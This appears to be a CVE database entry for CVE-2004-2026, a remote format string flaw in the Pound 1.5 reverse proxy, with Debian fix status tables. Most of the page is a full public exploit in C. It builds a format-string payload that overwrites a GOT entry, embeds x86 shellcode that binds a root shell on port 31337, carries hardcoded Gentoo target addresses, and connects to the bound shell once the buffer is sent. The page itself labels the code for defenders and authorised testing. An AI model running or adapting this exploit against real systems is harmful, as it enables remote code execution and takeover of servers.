CVE-2004-2026
Description
Format string vulnerability in the logmsg function in svc.c for Pound 1.5 and earlier allows remote attackers to execute arbitrary code via format string specifiers in syslog messages.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
Mitigation details
CVE-2004-2026 NameCVE-2004-2026 DescriptionFormat string vulnerability in the logmsg function in svc.c for Pound 1.5 and earlier allows remote attackers to execute arbitrary code via format string specifiers in syslog messages. SourceCVE (at NVD; CERT, ENISA, LWN, oss-sec, fulldisc, Debian ELTS, Red Hat, Ubuntu, Gentoo, SUSE bugzilla/CVE, GitHub advisories/code/issues, web search, more)…
CVE-2004-2026
| Name | CVE-2004-2026 |
| Description | Format string vulnerability in the logmsg function in svc.c for Pound 1.5 and earlier allows remote attackers to execute arbitrary code via format string specifiers in syslog messages. |
| Source | CVE (at NVD; CERT, ENISA, LWN, oss-sec, fulldisc, Debian ELTS, Red Hat, Ubuntu, Gentoo, SUSE bugzilla/CVE, GitHub advisories/code/issues, web search, more) |
Vulnerable and fixed packages
The table below lists information on source packages.
| Source Package | Release | Version | Status |
|---|---|---|---|
| pound (PTS) | bullseye | 3.0-2 | fixed |
| trixie | 4.16-3 | fixed | |
| forky | 4.23-1 | fixed | |
| sid | 4.23-2 | fixed |
The information below is based on the following data on fixed versions.
| Package | Type | Release | Fixed Version | Urgency | Origin | Debian Bugs |
|---|---|---|---|---|---|---|
| pound | source | (unstable) | 1.7-1 |
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
APSIS Pound 1.5 - Remote Format String
// source: https://www.securityfocus.com/bid/10267/info
APSIS Pound has been found to be prone to a remote format string vulnerability. The problem presents itself when Pound handles certain requests containing embedded format string specifiers.
Ultimately this vulnerability could allow for execution of arbitrary code on the system implementing the affected software, which would occur in the security context of the server process.
/*
Pound <=1.5 remote format string exploit (public version)
by
Nilanjan De - n2n@front.ru
Eye on Security Research Group, India, http://www.eos-india.net
Vendor URL: http://www.apsis.ch/pound/
Local exploit is only useful is pound is setuid
The shellcode used doesn't break chroot
if you need to break chroot, use a different shellcode
To find jmpslot:
For remote:
objdump -R /usr/sbin/pound|grep pthread_exit|cut -d ' ' -f 1
for local:
objdump -R /usr/sbin/pound|grep exit|grep -v pthread|cut -d ' ' -f 1
Note: In case of remote exploit, since the exploit occurs in one of the threads, you may need to modify this exploit to brute-force the RET address to make the exploit work. Since pound runs in daemon mode, brute forcing it is no problem.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT 8888
#define BUFSIZE 1024
#define NOP 0x90
#define POUND "/usr/sbin/pound"
#define COMMAND "TERM=xterm; export TERM=xterm; id;uname -a;\n"
#define LOCALHOST "127.0.0.1"
typedef enum {LOCAL,REMOTE} type_t;
struct target
{
char *arch;
unsigned long jmpslot;
unsigned long ret;
unsigned int align;
unsigned int offset;
type_t type;
} targets[]=
{
{"Gentoo - Pound 1.5 remote",0x08055610,0xbf3eda54,3,7,REMOTE},
{"Gentoo - Pound 1.5 local",0x08055618,0xbffff410,1,11,LOCAL},
{NULL,0x00,0x00,0,0,0}
};
/*
x86 linux fork+portbind shellcode(port 31337)
*/
char shellcode[]=
/* sys_fork() */
"\x31\xc0" // xorl %eax,%eax
"\x31\xdb" // xorl %ebx,%ebx
"\xb0\x02" // movb $0x2,%al
"\xcd\x80" // int $0x80
"\x38\xc3" // cmpl %ebx,%eax
"\x74\x05" // je 0x5
/* sys_exit() */
"\x8d\x43\x01" // leal 0x1(%ebx),%eax
"\xcd\x80" // int $0x80
/* setuid(0) */
"\x31\xc0" // xorl %eax,%eax
"\x31\xdb" // xorl %ebx,%ebx
"\xb0\x17" // movb $0x17,%al
"\xcd\x80" // int $0x80
/* socket() */
"\x31\xc0" // xorl %eax,%eax
"\x89\x45\x10" // movl %eax,0x10(%ebp)(IPPROTO_IP = 0x0)
"\x40" // incl %eax
"\x89\xc3" // movl %eax,%ebx(SYS_SOCKET = 0x1)
"\x89\x45\x0c" // movl %eax,0xc(%ebp)(SOCK_STREAM = 0x1)
"\x40" // incl %eax
"\x89\x45\x08" // movl %eax,0x8(%ebp)(AF_INET = 0x2)
"\x8d\x4d\x08" // leal 0x8(%ebp),%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x89\x45\x08" // movl %eax,0x8(%ebp)
/* bind()*/
"\x43" // incl %ebx(SYS_BIND = 0x2)
"\x66\x89\x5d\x14" // movw %bx,0x14(%ebp)(AF_INET = 0x2)
"\x66\xc7\x45\x16\x7a\x69" // movw $0x697a,0x16(%ebp)(port=31337)
"\x31\xd2" // xorl %edx,%edx
"\x89\x55\x18" // movl %edx,0x18(%ebp)
"\x8d\x55\x14" // leal 0x14(%ebp),%edx
"\x89\x55\x0c" // movl %edx,0xc(%ebp)
"\xc6\x45\x10\x10" // movb $0x10,0x10(%ebp)(sizeof(struct sockaddr) = 10h = 16)
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
/* listen() */
"\x40" // incl %eax
"\x89\x45\x0c" // movl %eax,0xc(%ebp)
"\x43" // incl %ebx
"\x43" // incl %ebx(SYS_LISTEN = 0x4)
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
/* accept() */
"\x43" // incl %ebx
"\x89\x45\x0c" // movl %eax,0xc(%ebp)
"\x89\x45\x10" // movl %eax,0x10(%ebp)
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x89\xc3" // movl %eax,%ebx
/* dup2() */
"\x31\xc9" // xorl %ecx,%ecx
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
"\x41" // incl %ecx
"\x80\xf9\x03" // cmpb $0x3,%cl
"\x75\xf6" // jne -0xa
/* execve() */
"\x31\xd2" // xorl %edx,%edx
"\x52" // pushl %edx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80"; // int $0x80
int
connect_to(char *host, unsigned int port)
{
struct hostent *h;
struct sockaddr_in sin;
int sock;
if((h=gethostbyname(host))==NULL)
{
printf("- Error: Unable to resolve %s\n",host);
exit(EXIT_FAILURE);
}
printf("+ Resolved %s\n",host);
sin.sin_addr=*((struct in_addr *)h->h_addr);
sin.sin_family=AF_INET;
sin.sin_port=htons((u_short)port);
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
{
perror("socket");exit(EXIT_FAILURE);
}
if(connect(sock,(struct sockaddr*)&sin,sizeof(sin))<0)
{
perror("connect");exit(EXIT_FAILURE);
}
printf("+ Connected\n");
return sock;
}
int sh(int sockfd) {
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
strcpy(snd, COMMAND "\n");
write(sockfd, snd, strlen(snd));
for (;;) {
FD_SET(fileno(stdin), &rset);
FD_SET(sockfd, &rset);
maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if (FD_ISSET(fileno(stdin), &rset)) {
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd)-2, stdin);
write(sockfd, snd, strlen(snd));
}
if (FD_ISSET(sockfd, &rset)) {
bzero(rcv, sizeof(rcv));
if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
printf("+ Good Bye!\n");
return 0;
}
if (n < 0) {
perror("read");
exit(EXIT_FAILURE);
}
fputs(rcv, stdout);
fflush(stdout);
}
}
}
void
usage(char *progname)
{
int i;
printf("Usage: %s <type> [RemoteHost]\n",progname);
printf("Available types:\n");
for(i=0;targets[i].arch!=NULL;i++)
{
printf("\t%d\t-\t%s\n",i,targets[i].arch);
}
exit(EXIT_FAILURE);
}
int
testifworked()
{
}
int main(int argc,char **argv)
{
char *victim;
int s;
int i;
int high,low;
unsigned int port=PORT;
struct target *t;
char buf[BUFSIZE];
if(argc<2) usage(argv[0]);
i=atoi(argv[1]);
if((i<0)||(i>=(sizeof(targets)/sizeof(struct target))-1))
{
printf("- Invalid target type\n");
exit(EXIT_FAILURE);
}
t=&targets[i];
high=(t->ret & 0xffff0000) >> 16;
low=(t->ret & 0x0000ffff);
memset(buf,NOP,BUFSIZE-1);
buf[BUFSIZE-1]=0;
if(t->type==REMOTE)
{
if(argc<3) usage(argv[0]);
victim=argv[2];
}
if(high>low)
{
*((unsigned long *)(buf+t->align))=t->jmpslot;
*((unsigned long *)(buf+t->align+4))=t->jmpslot+2;
}
else
{
*((unsigned long *)(buf+t->align))=t->jmpslot+2;
*((unsigned long *)(buf+t->align+4))=t->jmpslot;
high^=low^=high^=low;
}
buf[t->align+9]=0;
if(t->type==REMOTE)
low-=0x16+t->align;
else
low-=0x28+t->align;
i=snprintf(buf+t->align+9,BUFSIZE-1,"%%%dx%%%d$hn%%%dx%%%d$hn",low,t->offset,high-low,t->offset+1);
buf[t->align+9+i]=NOP;
memcpy(buf+BUFSIZE-6-strlen(shellcode),shellcode,strlen(shellcode));
buf[BUFSIZE-3]=buf[BUFSIZE-5]='\r';
buf[BUFSIZE-2]=buf[BUFSIZE-4]='\n';
if(t->type==LOCAL)
{
if(!fork())
{
execl(POUND,"pound","-f",buf,0);
perror("exec");exit(EXIT_FAILURE);
}
victim=LOCALHOST;
}
else
{
printf("+ Connecting to victim\n");
s=connect_to(victim,port);
printf("+ Attach?");
scanf("%c",&i);
printf("+ Sending evil buffer\n");
if(send(s,buf,BUFSIZE,0)!=BUFSIZE)
{
perror("send");exit(EXIT_FAILURE);
}
close(s);
}
sleep(1);
printf("+ Checking if exploit worked\n");
s=connect_to(victim,31337);
sh(s);
exit(EXIT_SUCCESS);
}
OS impact
Debian Fixed 4 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1.7-1 |
| sid | Fixed | 1.7-1 |
| forky | Fixed | 1.7-1 |
| bullseye | Fixed | 1.7-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
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